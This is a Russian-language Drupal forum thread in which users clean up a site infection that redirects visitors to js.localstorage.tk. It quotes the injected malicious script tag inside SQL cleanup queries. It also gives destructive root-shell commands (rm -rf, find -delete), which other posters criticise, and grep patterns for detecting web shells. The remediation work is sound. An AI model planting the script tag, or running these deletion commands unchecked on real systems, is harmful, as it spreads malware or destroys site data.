Вирус https://js.localstorage.tk/r.php

Главные вкладки

Аватар пользователя duffnis duffnis 23 апреля 2018 в 10:17

Добрый день, хостинг начал писать про активность подозрительную и блокировать сайты. Сайты почистил - удалил всё кроме папки site, залил все файлы ядра - обновил, обновил все модули, проверил айболитом.
Но всё равно когда заходишь первый раз на сайт перекидывает на https://js.localstorage.tk/r.php

Подскажите где можно и как найти данный вирус?

Комментарии

Аватар пользователя g2100636 g2100636 23 апреля 2018 в 10:43

Подскажите пожалуйста. а как именно базу чекать?
по поиску искать чтото вроде "$_REQUEST" ?)
Еще какие слова поискать можно?

Аватар пользователя Semantics Semantics 23 апреля 2018 в 10:47

Я обычно начинаю с поисков <?php.
Искать глобальные супермассивы тоже хорошая идея, пока дряни заточенной прям совсем под друпал не видел.

Аватар пользователя fairrandir fairrandir 23 апреля 2018 в 11:47

А на чём? Видите ли, найденные уязвимости не говорят о "плохости" системы. Вопрос же не в самих найденных уязвимостях, а в оперативности их закрытия. Вот сейчас появляется куча топиков, мол взломали сайт. Так проблема не в друпале, а в том, что люди не обновились. Представьте себе, что подобную уязвимость нашли на впшечке, или джумле (не к ночи будет помянуто), всех точно так же за неделю предупредили, кто-то забил на обновление, сайт взломали. И что теперь? Система плохая? Или зря не обновлялялись?

Аватар пользователя ivnish ivnish 23 апреля 2018 в 12:11

И я полностью с ними согласен. У меня есть Piwik(Matomo) и NextCloud, оба умеют обновляться одной кнопкой прямо из веба. Консольная обновлялка, у них, конечно же, тоже есть.

Аватар пользователя loup54 loup54 23 апреля 2018 в 14:32

В том то и дело, что я только с друпалом и работаю, ВП не в счет, на нем сайты больше не делаю, заразили однажды и плагины не помогли. Единственный вариант писать все с нуля, слава богу есть куча листингов с готовыми скриптами))

Аватар пользователя fairrandir fairrandir 23 апреля 2018 в 15:07
1

Прям всё-всё с нуля? Работу с базой, CSRF-защиту форм, админку для юзверей, движок для шаблонов, роутинг, управление ассетами, валидаторы и тысячи других юзкейсов?

Существуют причины, по которым люди используют CMS и фреймворки, и главная - не писать всё с нуля. А если используете чужие наработки - будьте готовы к уязвимостям в них.

Аватар пользователя gulden gulden 25 апреля 2018 в 14:51
1

Аналогичная проблема. Вот запросы для чистки БД

UPDATE field_data_body SET body_value = REPLACE(body_value, "<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>", " ");

UPDATE block_custom SET body = REPLACE(body, "<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>", " ");

TRUNCATE TABLE cache_field;
TRUNCATE TABLE cache_filter;

вообще полезно потом поискать в БД строку js.localstorage.tk, возможно она разная у всех

Аватар пользователя Phantom63rus Phantom63rus 26 апреля 2018 в 21:10

В БД вообще скриптов быть не должно, ну не в нодах точно. А пхп вообще и никак (ну или оно там может быть, но если оно там есть, то это означает что его туда вносил разработчик и он понимает зачем оно).

Аватар пользователя duffnis duffnis 27 апреля 2018 в 7:57

Подскажите пож - ввожу данный запрос в phpmyadmin/SQL нажимаю вперёд, показывает что нашло столько-то стро, но не удаляет из базы - что делаю не так?)ъ

Аватар пользователя kazuto kazuto 27 апреля 2018 в 10:14

Сегодня словил похожий, может этот же вирус... почистил базу данных как советовал Gulden, в папке sites/all удалил index.php и еще какой-то файл, не помню как назывался, саму папку sites проверил антивирусом и тоже удалил все лишнее, в html.tpl.php темы нашел js редиректа <_script language=javascript>..., его тоже удалил, обновил друпал. Пока все работает, наблюдаю за происходящим

Аватар пользователя BIG BOB BIG BOB 3 мая 2018 в 6:14

обновил ядро, все сделал как пишет gulden - в базе данных зараженных файлов было предостаточно, дополнительно проверил все файлы сайта на строку js.localstorage.tk - чисто, а оно все лезет и лезет, ну думаю все достал, перенесу на вп, начал переносить через какойто плагин, пока переносил ОНО уже и там есть... в конце решение нашел, оказалось есть несколько необновленых модулей, после их обновления УРААА пропала зараза, правда меню слетело стало меньше и цвет текста стал таким как фон, ничерта не видно ( А, еще пробовал проверить сайт айболитом, ниче не нашел

Аватар пользователя Atman Atman 16 мая 2018 в 11:31

Подскажите пожалуйста как чекать сайт(какие файлы заражает), в базе данных в данных нашел js.localstotage.tk, куда он еще записывает , и какой при заражении порядок обновления так как из админки зайти не может

Аватар пользователя Semantics Semantics 16 мая 2018 в 11:36

Единого алгоритма нет.
Могут куда угодно залить, что угодно.
У кого доры, у кого майнеры.

Так что проверять всю файловую систему сайта.

Аватар пользователя sas@drupal.org sas@drupal.org 16 мая 2018 в 12:59

Общие действия drupal 7 из консоли под ssh root в папке сайта:
rm -rf misc scripts includes modules themes profiles
потом распаковываем aрхив D7

я ставлю затем права 555 на все кроме паблика для файлов (оный лучше переименовать например myfiles) например так
find -type d -exec chmod 555 {} \;
find sites/*/myfiles -type d -exec chmod 755 {} \;

index.php может быть только в корне поэтому
find */ -type f -name "index.php" -delete

В папке файлов не должно быть *.php
find sites/*/myfiles/ -type f -name "*.php" -delete

На settings ставим 444
chmod 444 sites/*/settings.php

P.S. по последним вирусам можно так же проверить и потом если нужно добавить -delete
find */ -type f -name ".*.ico"
find */ -type f -name "*.php" -exec grep -i -l -H "\(\$_COOKIE\,\ \$_POST\)" {} \;
find -type f -name "*.ico" -exec grep -i -l -H "stream_context_create\ " {} \;

Аватар пользователя Semantics Semantics 16 мая 2018 в 13:05
1

Поздравляю, Алексей.

Вы первой же командой затёрли правки, которые потенциально могли быть внесены в ядро.
По дурости или же специально.
Их всё же стоит проверять и документировать.

Аватар пользователя fairrandir fairrandir 16 мая 2018 в 13:43
1

OMG

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
под ssh root

Да! Прямо из под рута!

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
rm -rf misc scripts includes modules themes profiles

Выше сказано.

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
потом распаковываем aрхив D7

И прости-прощай robots.txt

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
оный лучше переименовать например myfiles

Зачем? Чтобы было не sites/default/files, а sites/default/myfiles? Чем это поможет?

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
index.php может быть только в корне

Вот вообще не факт.

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
В папке файлов не должно быть *.php

И это тоже не факт.

Аватар пользователя sas@drupal.org sas@drupal.org 16 мая 2018 в 16:05

> Да! Прямо из под рута!
Это к чему?
> И прости-прощай robots.txt
В моем архиве D7 его нет
> Вот вообще не факт.
В коробке факт
Остальное по вкусу смортреть
> И это тоже не факт.
Вообще стандартно, но если у Вас там лежат, то конечно Вам не подойдет.

Аватар пользователя fairrandir fairrandir 16 мая 2018 в 17:06
1

<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
Это к чему?

Прочитав рекомендацию, можно подумать, что надо работать из под пользователя root. Это фиаско.
<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
В моем архиве D7 его нет

А в коробке - есть.
<a href="mailto:sas@drupal.org">sas@drupal.org</a> wrote:
В коробке факт
Остальное по вкусу смортреть

В коробке факт. Но где это видано - голая коробка? Есть модули, может быть какая-то old-версия, какие-то дополнительные точки входа, тысячи вариантов.

Аватар пользователя sas@drupal.org sas@drupal.org 16 мая 2018 в 17:54

> Прочитав рекомендацию, можно подумать, что надо работать из под пользователя root. Это фиаско.

Что Вы подразумеваете под словом "работать" ?
> А в коробке - есть.
"Коробке" - это Вы написали

> В коробке факт. Но где это видано - голая коробка? Есть модули, может быть какая-то old-версия, какие-то дополнительные точки входа, тысячи вариантов.
речь шла про папку files и про то что в ней не должно быть *.php файлов, для них есть другие папки. А Вы про что ?

Аватар пользователя bumble bumble 16 мая 2018 в 17:18
1

Да, например Mail System создает и смотрит классы в файлах.

Еще, я встречал добавленные библиотеки в файлы (хоть им и место в libraries).

В общем - нужно чекать обязательно, и не только *.php, но и хотя бы *.inc, да и вообще - все что не стандартно выглядит для файловой системы Drupal - перепроверять.

P.S. Ребят, зачем же накидываетесь на Алексея? Можно же просто дополнять и поправлять - выйдет более конструктивно.

Аватар пользователя sas@drupal.org sas@drupal.org 16 мая 2018 в 17:56

Да могут быть - поэтому безусловно надо с "головой" делать, например в D8 twig создает, но их можно потереть, так как кешевые.

Аватар пользователя gun_dose gun_dose 16 мая 2018 в 20:03

bumble wrote:

В общем - нужно чекать обязательно, и не только *.php, но и хотя бы *.inc, да и вообще - все что не стандартно выглядит для файловой системы Drupal - перепроверять.

Я видел пхп-код в .jpg файлах. Вот это вообще замучаешься ловить.

Аватар пользователя bumble bumble 16 мая 2018 в 20:30

Да, и правда @igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389" title=" Running *.jpg as *.php or How to Prevent Execution of User Uploaded Files">можно в картинку, но встретив такую конструкцию - я явно обращу на нее внимание.

Если кодовая база Drupal оригинальная - максимум, картинка может полететь в браузер юзера, где либо не загрузится, либо загрузится с кусками ПЫХа в метаданных (что не несет опасности).

Аватар пользователя gun_dose gun_dose 17 мая 2018 в 7:24

Как минимум в файлах темы такую конструкцию при беглом просмотре можно не увидеть. Все ведь привыкли искать всякие кракозябры)))